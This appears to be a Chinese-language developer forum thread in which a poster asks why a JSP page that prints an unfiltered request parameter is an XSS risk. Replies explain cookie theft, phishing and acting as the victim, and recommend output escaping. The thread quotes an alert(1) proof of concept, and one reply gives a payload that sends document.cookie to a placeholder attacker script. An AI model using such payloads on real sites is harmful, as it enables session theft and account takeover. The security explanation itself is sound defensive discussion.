V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX 提问指南
nikoo
V2EX  ›  问与答

关于跨站脚本攻击( XSS ),这种情况危险性在哪里?

  •  
  •   nikoo · 2017-09-04 12:39:09 +08:00 · 3184 次点击
    这是一个创建于 2426 天前的主题,其中的信息可能已经有所发展或是发生改变。
    今天程序被检测出有漏洞,面临跨站脚本攻击( XSS )的风险

    具体代码是:
    String name=request.getParameter("name");//获取 name 参数
    out.println(name);//直接打印 name 参数到前端

    是的,获得的 name 参数未做任何过滤直接打印在前端页面
    但是 name 参数不涉及任何数据库储存以及后台程序操作,就是上面这两行而已,仅仅是获取 GET/POST 来的 name 参数并打印在提交者的前台页面

    漏洞提交者给出 xxx.jsp?name=<script>alert(1)</script> 这样的 URL 来证明漏洞存在,访问该 URL 也的确在前台直接执行了 alert(1) 的 JS 代码。

    当然不是为这种考虑不周不安全的代码辩护
    只是想知道,这种情况下风险到底在哪里?具体这个漏洞又能如何被利用呢?
    22 条回复    2017-09-04 19:05:00 +08:00
    torbrowserbridge
        1
    torbrowserbridge  
       2017-09-04 12:39:49 +08:00 via Android
    cookie
    nikoo
        2
    nikoo  
    OP
       2017-09-04 12:42:03 +08:00
    @torbrowserbridge 谢谢,这段代码只能是提交者自己执行
    torbrowserbridge
        3
    torbrowserbridge  
       2017-09-04 12:43:53 +08:00 via Android
    检测程序又不知道是不是只能自己执行。
    skyleft
        4
    skyleft  
       2017-09-04 12:45:24 +08:00   ❤️ 2
    xxx.jsp?name=<script>location.href=xxx.php?xx=document.cookie</script> 把这个 url 发给网站的其他用户 然后自己写个 xxx.php 收集登录 cookie 然后登录其他用户的账号 干什么什么
    limhiaoing
        5
    limhiaoing  
       2017-09-04 12:45:51 +08:00 via iPhone   ❤️ 2
    构造 url 发给其他人打开。
    Zzzzzzzzz
        6
    Zzzzzzzzz  
       2017-09-04 12:46:21 +08:00   ❤️ 1
    偷 cookie

    黑产中间跳转页
    torbrowserbridge
        7
    torbrowserbridge  
       2017-09-04 12:46:29 +08:00 via Android
    @skyleft 🤤
    nikoo
        8
    nikoo  
    OP
       2017-09-04 12:47:46 +08:00
    @torbrowserbridge @skyleft @limhiaoing 非常感谢!

    构造非法 URL 并诱导用户点开盗取 cookie,的确是这样!

    这是唯一的风险吗?还有没有其他的利用可能?
    gstqc
        9
    gstqc  
       2017-09-04 12:54:21 +08:00 via iPhone   ❤️ 1
    还有存储型的,可以改网站代码,这样任何访问页面的人都有可能中招。
    nikoo
        10
    nikoo  
    OP
       2017-09-04 12:55:49 +08:00
    @gstqc 谢谢

    也就是非法代码如果不被储存的话,只能通过诱导点击实现攻击?
    am241
        11
    am241  
       2017-09-04 13:00:23 +08:00 via Android   ❤️ 1
    能以用户的身份提交,获取数据

    极端情况下能搞出 xss 蠕虫
    gstqc
        12
    gstqc  
       2017-09-04 13:01:08 +08:00 via iPhone   ❤️ 1
    @nikoo 对,这种叫做反射型。
    存储型比较常见的方式是论坛、评论区等,当然任何接受用户输入并存储的都有可能存在。
    tony1016
        13
    tony1016  
       2017-09-04 13:10:30 +08:00
    轻者偷你用户的账户信息,重者把访问你的用户变成肉鸡
    shiji
        14
    shiji  
       2017-09-04 13:17:08 +08:00 via Android
    @torbrowserbridge
    @skyleft
    @limhiaoing
    那如果重要 cookie 开启了 httponly,这是不是就没什么用了
    lmfx89
        15
    lmfx89  
       2017-09-04 13:19:08 +08:00
    @shiji 那就退而求其次重定向到钓鱼的登录页面。
    maplerecall
        16
    maplerecall  
       2017-09-04 13:21:40 +08:00
    可以伪装成用户做任何事情,比如肆意盗取、修改数据,发表广告、不正当言论等等……

    其实只要把输出到页面上的外部内容都转义一下就好,也就两三行代码的事情
    Mutoo
        17
    Mutoo  
       2017-09-04 13:48:00 +08:00
    反射型的 XXS 有很多玩法,一个不容易注意到的就是利用你的域名的权威性做欺诈。
    设想如果 some.qq.com/page/?=xxs-here 存在 xxs 利用漏洞,那就可以在这个页面做钓鱼,更具欺骗性。
    yyfearth
        18
    yyfearth  
       2017-09-04 15:18:17 +08:00
    XSS 攻击本身危害可能并不是很大 但是往往是其它类型攻击的入口 如果是存储型 可以影响很多其它用户 就算是纯粹的反射型也可以诱导用户点击 然后注入脚本 盗取 cookie 或者 直接控制用户 代替用户做任何事情

    举个例子 如果你是管理员 有人给你发钓鱼邮件 里面有伪装过的 XSS 注入脚本的链接 你点击后 由于你已经管理员账号登陆 可以盗取你的 cookie 就算是 cookie 不可读 也可以用你管理员的身份 创建新管理员账号 或者直接就是破坏 反正你能做的事 注入的脚本也可以

    在比如 如果是聊天系统或者可以发送内容的系统 一个人中 XSS 注入脚本就可以利用这个人登陆的账号公开或者对其他账号发送注入的链接达到传播的目的

    防范也很简单 基本上就是 根据是 html 内容还是属性进行编码就可以解决
    Gn
        19
    Gn  
       2017-09-04 17:59:14 +08:00 via Android
    获取 Cookie 算是其一,还可以构造一个登录表单,样式仿造你的网站,这样用户单看域名就很难防范。
    66beta
        20
    66beta  
       2017-09-04 18:02:18 +08:00
    不用想太多,能执行 JS 就很危险
    yu1u
        21
    yu1u  
       2017-09-04 18:39:13 +08:00 via iPhone
    楼上的已经概括完了
    ctsed
        22
    ctsed  
       2017-09-04 19:05:00 +08:00 via Android
    曾经新浪微博点链接跳转很卡,然后就是莫名关注了几百个号
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   2605 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 29ms · UTC 15:44 · PVG 23:44 · LAX 08:44 · JFK 11:44
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.